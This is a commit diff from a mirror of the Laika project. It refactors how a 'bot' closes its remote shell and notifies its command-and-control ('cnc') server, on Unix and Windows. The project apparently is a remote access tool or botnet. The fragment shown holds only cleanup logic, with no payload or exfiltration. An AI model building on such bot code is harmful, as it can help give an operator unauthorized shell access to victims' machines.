1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-11-22 04:50:06 +00:00

Bot: Minor laikaB_freeShell refactoring

This commit is contained in:
CPunch 2022-04-16 23:08:21 -05:00
parent b60203d3f2
commit 231881c960
3 changed files with 9 additions and 24 deletions

View File

@ -49,6 +49,9 @@ void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
kill(shell->pid, SIGTERM); kill(shell->pid, SIGTERM);
close(shell->fd); close(shell->fd);
/* tell cnc shell is closed */
laikaS_emptyOutPacket(bot->peer, LAIKAPKT_SHELL_CLOSE);
bot->shell = NULL; bot->shell = NULL;
laikaM_free(shell); laikaM_free(shell);
@ -73,11 +76,6 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
if (LN_ERRNO == LN_EWOULD || LN_ERRNO == EAGAIN) if (LN_ERRNO == LN_EWOULD || LN_ERRNO == EAGAIN)
return true; /* recoverable, there was no data to read */ return true; /* recoverable, there was no data to read */
/* not EWOULD or EAGAIN, must be an error! so close the shell */ /* not EWOULD or EAGAIN, must be an error! so close the shell */
/* tell cnc shell is closed */
laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
/* kill shell */
laikaB_freeShell(bot, shell); laikaB_freeShell(bot, shell);
return false; return false;
} }
@ -97,11 +95,6 @@ bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char
/* some error occurred */ /* some error occurred */
if (length == nLeft) { if (length == nLeft) {
/* unrecoverable error */ /* unrecoverable error */
/* tell cnc shell is closed */
laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
/* kill shell */
laikaB_freeShell(bot, shell); laikaB_freeShell(bot, shell);
return false; return false;
} else { /* recoverable */ } else { /* recoverable */

View File

@ -114,14 +114,13 @@ struct sLaika_bot *laikaB_newBot(void) {
void laikaB_freeBot(struct sLaika_bot *bot) { void laikaB_freeBot(struct sLaika_bot *bot) {
int i; int i;
laikaP_cleanPList(&bot->pList);
laikaS_freePeer(bot->peer);
laikaT_cleanTaskService(&bot->tService);
/* clear shell */ /* clear shell */
if (bot->shell) if (bot->shell)
laikaB_freeShell(bot, bot->shell); laikaB_freeShell(bot, bot->shell);
laikaP_cleanPList(&bot->pList);
laikaS_freePeer(bot->peer);
laikaT_cleanTaskService(&bot->tService);
laikaM_free(bot); laikaM_free(bot);
} }

View File

@ -146,6 +146,9 @@ void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
/* close pseudo console */ /* close pseudo console */
ClosePseudoConsole(shell->pseudoCon); ClosePseudoConsole(shell->pseudoCon);
/* tell cnc shell is closed */
laikaS_emptyOutPacket(bot->peer, LAIKAPKT_SHELL_CLOSE);
/* free shell struct */ /* free shell struct */
laikaM_free(shell); laikaM_free(shell);
bot->shell = NULL; bot->shell = NULL;
@ -171,11 +174,6 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
if (GetLastError() == ERROR_NO_DATA && WaitForSingleObject(shell->procInfo.hProcess, 0) == WAIT_TIMEOUT) if (GetLastError() == ERROR_NO_DATA && WaitForSingleObject(shell->procInfo.hProcess, 0) == WAIT_TIMEOUT)
return true; /* recoverable, process is still alive */ return true; /* recoverable, process is still alive */
/* unrecoverable error */ /* unrecoverable error */
/* tell cnc shell is closed */
laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
/* kill shell */
laikaB_freeShell(bot, shell); laikaB_freeShell(bot, shell);
return false; return false;
} }
@ -193,11 +191,6 @@ bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char
while (nLeft > 0) { while (nLeft > 0) {
if (!WriteFile(shell->out, (void*)buf, length, &nWritten, NULL)) { if (!WriteFile(shell->out, (void*)buf, length, &nWritten, NULL)) {
/* unrecoverable error */ /* unrecoverable error */
/* tell cnc shell is closed */
laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
/* kill shell */
laikaB_freeShell(bot, shell); laikaB_freeShell(bot, shell);
return false; return false;
} }